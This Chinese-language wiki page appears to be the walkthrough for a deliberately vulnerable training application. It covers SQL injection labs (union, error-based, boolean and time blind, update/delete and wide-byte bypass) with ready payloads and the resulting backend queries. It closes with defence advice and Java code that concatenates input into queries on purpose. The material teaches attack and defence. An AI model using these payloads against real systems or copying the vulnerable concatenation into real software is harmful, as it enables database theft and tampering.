Skip to content

SQL 注入

en0th edited this page Jul 30, 2024 · 2 revisions

简介

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过利用应用程序没有对用户输入进行充分验证的缺陷,将恶意的SQL语句注入到后端数据库中,从而导致数据库的数据被窃取、篡改、破坏等风险。 通常,SQL注入攻击发生的原因是开发人员没有对用户输入的数据进行充分验证或过滤,或者使用了不安全的SQL查询方法。攻击者可以通过输入特定的字符串或符号来欺骗程序,从而注入恶意的SQL语句。

攻略

1)数字型注入

考察:数字类型基本的注入方式

进入到界面,发现有提示通过用户ID查询用户,我们直接点击查询。

image-20240729123043207

观察流量数据包,这里通过传入ID查询用户。

image-20240729123129842

1. 确认漏洞存在

参考payload:5-1,发现返回的ID是4而不是5的,判断存在SQL注入。

image-20240729123206674

2. 获取信息

这里使用的是联合注入方法,因为查询的数据会返回给到我们。

2.1 尝试获取

判断取的字段有多少个:5 order by 3

image-20240729133929947

当测试到字段4时,提示没有第4个字段。说明一共取了3个字段。

image-20240729153624917

2.2 尝试显示

通过5 union select 1,2,3判断显示位置,可以看到id和username的内容替换成了我们输入的1和2。

image-20240729160459699

2.3 进一步获取信息

通过Mysql的一些内置函数如user()database()等函数可以获取数据库信息。参考payload:5 union select 1,user(),3

后台执行语句为:select * from sys_account where id=5 union select 1,user(),3

image-20240729160851917

2)字符型注入

考察:字符类型基本的注入方式

数据库中默认存在 jake、jessica、both 三个用户。我们输入 jake 尝试查询。

image-20240729161100333

1.确认漏洞存在

因为字符串是通过单引号闭合的,所以我们直接尝试增加一个单引号判断:jake'

返回了数据库报错信息,证明漏洞存在。

image-20240729161248499

2. 获取信息

这里使用的是联合注入方法,因为查询的数据会返回给到我们。

2.1 尝试获取

参考payload:jake' order by 3#

因为多了一个引号,但我不想闭合所以直接使用了注释字符#

image-20240729162016285

当测试到字段4时,提示没有第4个字段。说明一共取了3个字段。

image-20240729161445217

2.2 尝试显示

参考payload:' union select 1,2,3#,判断显示位置,可以看到id和username的内容替换成了我们输入的1和2。

image-20240729164105901

2.3 进一步获取信息

参考payload:' union select 1,database(),3#

后台执行语句为:select * from sys_account where username='' union select 1,database(),3#'

image-20240729164156938

3)模糊查询注入

考察:模糊查询闭合方式

尝试输入jak进行查询,发现也可以查询到jake

image-20240729164601319

这里不适合联合查询注入,直接通过报错注入方便一些。

参考payload:%' and updatexml(1,concat(0x7e,database(),0x7e),1)#

URL编码:%25%27+and+updatexml%281%2Cconcat%280x7e%2Cdatabase%28%29%2C0x7e%29%2C1%29%23

后台执行语句为:select * from sys_account where username like '%%' and updatexml(1,concat(0x7e,database(),0x7e),1)#%'

image-20240729170327031

4)条件多重标注注入

考察:括号闭合方式

参考payload:jake') order by updatexml(1,concat(0x7e,database(),0x7e),1)#

后台执行语句为:select * from sys_account where (username=1 or username='jake') order by updatexml(1,concat(0x7e,database(),0x7e),1)#')

image-20240729171247209

5)添加/更新语句注入

考察:insert/update语句注入方式

参考payload:jake' and 1=1#

用户名输入payload,密码任意输入都行。万能密码的方式进入后台。不是重点

后台执行语句为:select * from sys_account where username='jake' and 1=1#' and password='1'

image-20240729171505966

登录成功之后,在修改个人信息处,点击确认修改,尝试正常访问。

image-20240730091056136

1. 尝试获取

观察正常返回数据包

image-20240730091212211

我们在参数address使用老方法,增加一个单引号,发现updateStatustrue变成了false,说明这里可以尝试使用布尔注入。

image-20240730091222853

update 语句需要通过 where 条件来确定更新的数据项,我们不知道它后面拼接的是哪些字段,只能通过现有的字段来判断。

' where address='where' and (select length(database())>10)#

这里判断数据库长度大于10,但updateStatus返回了false,说明条件不成立。

image-20240730094756519

此时我们将10修改成5发现,updateStatus返回了true,说明条件成立。

image-20240730094807861

2. 进一步获取信息

获取数据库名的第一位,ascii码中的109对应就是字母m

参考payload:where' where address='where' and (ascii(substr(database(),1,1))=109)#

后台SQL语句:update sys_userinfo set phone='18888888888',address='where' where address='where' and (ascii(substr(database(),1,1))=109)

image-20240730100154361

6)添加/更新语句注入

考察:delete语句注入方式

在界面的评论信息出找到操作删除按钮,点击后观察流量数据包。

image-20240730101613221

观察发现只需提供id就能删除。

image-20240730101726263

参考payload:updatexml(1,concat(0x7e,database(),0x7e),1)

后台SQL语句:delete from sys_comments where id=updatexml(1,concat(0x7e,database(),0x7e),1)

image-20240730102025039

7)布尔盲注

考察:布尔注入方式

判断漏洞存在' or '1'='1,条件成立时。

image-20240730103110719

当我们将条件不成立时,' or '1'='2,没有返回任何数据。

image-20240730103028556

这里我们可以使用布尔注入或者时间注入。

参考payload:' or (ascii(substr(database(),1,1))=109)#

后台SQL:select * from sys_account where username='' or (ascii(substr(database(),1,1))=109)#'

8)时间盲注

考察:时间注入方式

任意输入尝试查询

image-20240730103506998

通过用户名查询用户

image-20240730103538099

参考payload:' or sleep(5)#

后台SQL:select * from sys_account where username='' or sleep(5)#'

延时方法不止sleep函数一种。

image-20240730103703357

9)过滤单引号

考察:宽字节注入方式和其他绕过方式

直接输入单引号会被增加转义符号:'->\'

后台SQL:select * from sys_account where username='admin' and password='1\''

image-20240730104451012

参考payload:1%df%5c%27or 1=1#

后台SQL:select * from sys_account where username='admin' and password='1?\\'or 1=1#'

image-20240730104408816

参考payload:username=admin\&password=or 1=1#

后台SQL:select * from sys_account where username='admin\' and password='or 1=1#'

image-20240730112010849

参考payload:admin\'or 1=1#

后台SQL:select * from sys_account where username='admin\\'or 1=1#' and password='1'

image-20240730112130942

开发思路

SQL注入真是老生常谈。目前防御SQL注入的手段最有效的还是预编译,当然预编译也不是万能的,大致上有这些防御SQL注入的方式。

  1. 使用参数化的SQL语句或预编译语句。
    • 这种方法可以避免直接拼接SQL语句,有效防止SQL注入攻击。但是如果参数不正确地传递,仍可能导致SQL注入漏洞。
  2. 对用户输入进行过滤和验证。
    • 这种方法可以检查输入数据的格式、类型、长度等是否符合要求,避免恶意输入攻击,但是需要保证过滤和验证的严格性。
  3. 使用ORM框架。
    • ORM框架可以把对象与数据库表映射起来,自动生成SQL语句,有效地避免手写SQL带来的漏洞。但是ORM框架的质量和使用方式也需要谨慎考虑。
  4. 限制数据库用户的权限。
    • 把数据库用户权限限制在最小范围内,避免恶意用户获取敏感数据。但是如果数据库被攻破,仍有可能导致数据泄露。
  5. 避免把错误信息暴露给用户。
    • 在出现异常或错误时,不要把详细信息直接暴露给用户,避免攻击者利用这些信息进行注入攻击。但是错误信息的处理也需要及时,以便开发人员快速定位和修复问题。
  6. 对重要数据进行加密存储。
    • 对于重要数据,采用加密存储的方式,即使数据库被攻破也不容易泄露敏感信息。但是加密的算法和密钥管理也需要谨慎考虑。
  7. 定期对数据库进行安全审计。
    • 定期对数据库进行安全审计,检查是否存在异常或漏洞,及时修复问题,保证系统的安全性。但是需要保证审计的全面性和严格性。

Java中执行SQL语句的方式大致有以下几种:

  1. 使用 JDBC 的 java.sql.Statement执行SQL语句。
  2. 使用 JDBC 的 java.sql.PreparedStatement执行SQL语句。
  3. 使用 Hibernate 的 createQuery执行SQL语句。
  4. 使用 MyBatis 映射执行SQL语句。

Hibernate 默认会将所有传入的参数使用 JDBC 的 PreparedStatement 进行预编译,从而防止 SQL 注入攻击。

Query query = session.createQuery("FROM User WHERE username = :username");
query.setParameter("username", username);
List<User> users = query.list();

MyBatis 则是通过编写映射文件,在映射的语句中使用${}#{}来设置变量输出的位置。其中#{}的底层也是使用 JDBC 的 PreparedStatement 进行预编译。而${}则是直接输出变量,类似于字符拼接从而导致SQL注入。 JDBC 的 PreparedStatement 会自动将 SQL 中的占位符?替换成预编译后的参数,使用参数化的方式执行 SQL。下面是预编译的例子。

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

尽管预编译非常好用,但在SQL语句中不能使用单引号的地方往往不能使用预编译。例如 order by,这些地方没有过滤就有可能存在SQL注入风险。并且预编译不会对模糊查询中的两个通配符,%_做转义,没有过滤的话很有可能导致恶意模糊查询。 如果使用Statement的方式,那么将没有预编译,通常是使用字符拼接的方式执行SQL语句,在开发过程中,我大量使用了Statement.executeQuery方法,如果不对用户输入的内容自行做过滤,那么不可避免的会导致SQL注入的产生。 代码来源:com/pika/electricrat/sqli/dao/UserGbkDaoImpl.java

// 查询,字符串拼接
public HashMap<String, Object> findUserById(String id){
    return query("select * from sys_account where id=" + id);
}
// 直接使用 executeQuery 执行SQL语句,没有过滤。
public HashMap<String, Object> query(String sql){
    System.out.println(sql);
    HashMap<String, Object> data = new HashMap<>();
    try {
        ResultSet rs = s.executeQuery(sql);
        rs.next();
        data.put("id", rs.getInt("id"));
        data.put("username", rs.getString("username"));
        data.put("msg", "ok");
    } catch (SQLException e){
        e.printStackTrace();
        data.put("msg", e.getMessage());
    }
    return data;
}

值得一提的是参考了【BJDCTF 2020】简单注入,我过滤了单引号,转义成\'。 代码来源:com/pika/electricrat/sqli/dao/UserGbkDaoImpl.java

public HashMap<String, Object> findUserFilter(String username, String password){
    username = username.replaceAll("'+", "\\\\'");
    password = password.replaceAll("'+", "\\\\'");
    return query("select * from sys_account where username='" + username + "' and password='" + password + "'");
}